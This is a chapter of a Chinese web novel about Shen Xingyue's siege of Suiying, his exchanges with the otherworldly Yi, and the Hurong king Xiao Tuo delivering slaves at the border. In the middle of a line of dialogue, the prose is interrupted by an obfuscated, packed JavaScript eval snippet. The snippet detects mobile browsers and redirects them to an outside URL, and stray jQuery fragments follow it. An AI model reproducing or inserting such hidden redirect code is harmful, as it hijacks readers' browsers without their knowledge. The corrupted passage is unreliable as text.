156. 夺城

作品:《大燕第一赘婿

    绥应当地的情况十分复杂。


    此前,晋南之地重为燕廷夺回,接连派出数支军队,攻城占地的途中,亦吸纳了不少降兵叛将。


    这段时间,由萧关向晋州内境的运粮通道重新被打通,为燕军统一晋州输送了新的给养。


    然而短短一个月内,形势又发生了翻天覆地的变化。


    燕军的推进太过顺利,每次大举兴兵,迎来的结果便是沈行约率领残部弃城而逃,一再地往北边退,留下一座座割弃的城池,以及山野间不知何时便会冒出来的杂牌军。


    这些人大多是逃亡的散兵,虽持有武器可面对燕军时毫不抵抗,完全听任处置。逃兵们自成规模,人数说多不多,说少也不算少,显然如何处置是个问题。


    由此,出于对战局的考虑,驻扎在绥应各城,燕廷军队的主将们选择接纳了这批降兵,收为己用;而对待这群外来的士兵,将领们自然不会像对待部队主力军那样给足好处,降兵的待遇为军中最末,兵饷为最次一等。


    故而当沈行约下令,放出招降的言论时,对面敌营军队中,一场几乎可以预见的内乱便发生了。


    备受压迫的降兵们在紧迫的抉择后发起了反击,毕竟继续下去,他们也看不到任何希望,而目下之未却是刻不容缓。为了平息事态,稳定局势,驻守各城的燕军将领极有可能在正式进攻发起前铲除掉内部的潜在隐患。


    就在敌营爆发内乱之时,沈行约又一次率兵出击,主动向敌方发起了搦战。


    敌将们根本不曾想,他们刚撤下包围,对方竟敢在孤立无援的情况下再次发兵,由所占领的边城往回打,战斗打响,及至傍晚时分,郑坻等地竟也传来战讯,分不出兵力来援,整个绥应之地乱成了一锅粥。


    天黑时,沈行约的军队拔下两城。


    兵将们在清扫战场,火箭射中的地皮仍在缓慢燃烧着,一如星火跌入人间,战场上则遍地都是伏尸,点点火光映照出炼狱般的景象。


    昳在随军途中,对战场上死人早已司空见惯,看着这一幕,仍然发出无奈的叹息,最后道:“你不该做这些。”


    回到城署后,沈行约布置完毕,解下战甲,任侍者为他擦拭脖颈的血污:“什么?”


    “何必这样,”昳摇头道:“我早就告诉过你,巨魔即将迎来转生,人族的这场灾难迟早要来,唯有尽快找到人皇,才能结束这一切,就算你领兵真的杀回燕都,所做这些,也不过是徒增杀孽罢了。”


    沈行约脱了战袍,解膝下束扎的行縢,又解里衣的扣子,看着昳时,手上动作不停。


    “怎么不说话?”


    昳见他一件件的脱衣服,只得背过身去,一时不禁怀疑起自己留下的初衷:“我是说认真的。”


    整个人泡在热水里时,沈行约轻缓地吐出一口气,他的手臂、脖颈旁,结痂的几处擦伤被水浸泡,晕染开浅淡的血色纹路。


    昳:“喂!我在和你说话!你有在听吗?!”


    昳气汹汹地折返回来,眉头倒竖。


    沈行约的手搭在浴桶边沿,漫不经心地开口:“你想让我帮你,去找那什么人皇。”


    昳稍稍一顿,紧接着便听他道:“凭什么?”


    沈行约一边思索着接下来的战事,还不知道孙隆和李肃那边情况怎么样了,一边分神道:“给我个理由。”


    “什么理由?”昳实在无法理解,人族浩劫将至,关乎到每一个人的生死存亡,这作为理由难道还不够充分吗?


    两人相处的这些天里,昳曾不止一次地表明自己执行任务的决心,以为只要将事态的严重性和盘托出,就能引起沈行约的重视。


    但现在来看,很显然他想错了。


    “陛下……”


    王福取来浴袍,片刻后,沈行约换了身干净衣服出来,边走边吩咐道:“再派出一支兵马,把守去往益陵的要道,只要有任何风吹草动,随时回来禀报。”


    主厅外,彭榷领命而去,昳实在忍不住了,一个跨步截在沈行约面前:“你到底听进去没有?!”


    “嗯,嗯……对,你说的对,得找到人皇,”沈行约语气敷衍,在主位上歇了片刻,不时又有军中将领进来禀报城中的情况,几次打断了两人的谈话。


    在昳彻底被惹火前,沈行约叫来王福,一点头道:“过来,你和他说。”


    王福一头雾水地上前,昳立马换了副戒备的神态。


    沈行约低头看向桌案上的作战沙盘,心思全然不在这上面,简单道:“他要找人,你帮他找。”


    “这……”王福顿了顿,反应过来后朝昳问话,对方却不肯答。


    王福为难道:“既是寻人,总该有个大致的特征吧?”


    “特征……?”昳一脸怀疑,完全没想过这一茬,“什么特征?”


    “就是叫什么名,长什么样,”沈行约插话道:“年龄、籍贯、样貌,总要有一项吧,不然怎么去找?”


    “啊?”昳彻底被问懵了,看向王福,后者点了点头。


    “容我想想……”


    昳沉默下来,陷入了长久的思索中。


    沈行约瞥了他一眼,舒了口气,难得清净下来,重复地拔掉沙盘上的战棋作战事推演。


    不一会儿,外头士兵禀报,呈上密信,沈行约接过来看,一直攒起的眉头才得以舒展。


    “李肃得手了!”


    沈行约将那信纸攥在手里,沉声道:“接下来,益陵的这一仗恐怕没那么容易。”


    “对面的军队中留有咱们的内应,”彭榷匆匆赶回,向沈行约禀告了城防的情况,道:“总能为孙将军分减些压力。”


    沈行约面色凝重,更十分清楚,高强度的奔袭后,军队直接投入作战的难度有多大。


    稍早之前,郑坻的战事传来,大概是孙隆急行途中暴露了军队位置,不得已而交手,而接下来,如何占领益陵才是这一战的重头戏。


    “陛下!”门外王役赶来,跪地道:“又有邻城的敌兵叫阵,已经骂了有一会儿,咱们要迎战吗?”


    “不,”沈行约起身,踟躇片刻后道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248736|161534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “除却值夜的巡逻兵外,让将士们原地修整,恢复体力,明早天不亮时军队集合,尽快将绥应这块地啃下来!”


    城署正厅内,灯烛熄去一半。


    少时,彭榷与王役退下,趁着昳仍在苦思冥想之际,沈行约在坐榻旁打横一躺,盖了张薄毯,就这么沉沉睡去。


    天幕泛起微光前,沈行约养足精神,披甲上阵,领兵发起突袭,军队直朝绥应内城杀去。


    同一时刻,胡戎转场的大部队抵达邑野,一番交接安置后,萧拓骑马赶往边地,战马身上拴着一根绳子,依次绑着五六个被捆住双手的奴隶。


    到达边地所设关卡时,战马长吁一声,戍边的军官拦住了他。


    “等等……”


    军官看出了萧拓异族的身份,在墙头上方喝令道:“边关重地,胡人不得擅闯!”


    萧拓驻马,身后绑着的奴隶们随之停步。


    当军官看到他带着的奴隶时,当即明白过来,早时便已接到上峰的命令,此刻便将栅门打开少许,喝道:“押运奴隶的?!放你身后的奴隶过来!待这几人搜过身后,自会领他们前去复命,把人留下,你可以回去了!”


    萧拓没有动作,而是在马上喊道:“去传话,我要见你们陛下!”


    “让你回去就回去,废什么话!”


    军官见他不肯走,骂骂咧咧地走下墙头:“我们陛下日理万机,整日忙着打仗,是你说想见就见的?”


    说罢召来人手,这就打算将人强行撵走,近到身前时,军官忽觉熟悉,猛然间认出了萧拓的身份。想到此前,邑野边地的一战,胡戎首领在战场上的种种表现,一时忍不住后脊发寒。


    “胡……胡戎王陛下……”军官倒退两步,结结绊绊地道:“您、您怎么亲自……”


    “替我前去通禀一声!”


    战马原地踏步,萧拓单手按辔,长袍随马儿晃荡:“胡戎部族首领来此兑现承诺,这是你们所要的奴隶,孤王请求面见你们的陛下,请他给我一个当面细说的机会。”


    “这……”军官面露难色。


    缘由如今的绥应到处都在打仗,即便送了信,也不能确保传能不能送至御前。


    萧拓从军官那迟疑的面色中看出了端倪,索性翻身下马,态度决绝道:“我在这里等。”


    军官犹豫再三,考虑过后前去通风报信。


    萧拓将马拴在不远处的树下,奴隶们守在一旁,等候着未知的命运,最小的奴隶阿来则蜷身蹲在树影里,低头看沙土地上,蚂蚁爬过的痕迹。


    萧拓在树下盘膝而坐,这一等,直从清晨等到了黄昏时分。


    暮色将至,天边残阳未收,泛起如鱼鳞般的光泽,远处山坡上,一个人影由远及近,待到关卡前,军官气喘吁吁地赶来回信:“您……您还是先回去吧!我们陛下忙于战事,实在分不出时间来见您!”


    “把……把这几个奴隶留下,”军官大喘了一口气,缓了好久方才继续道:“胡戎与中原早有约定,不得逾越边关之地,王陛下,恕不远送!”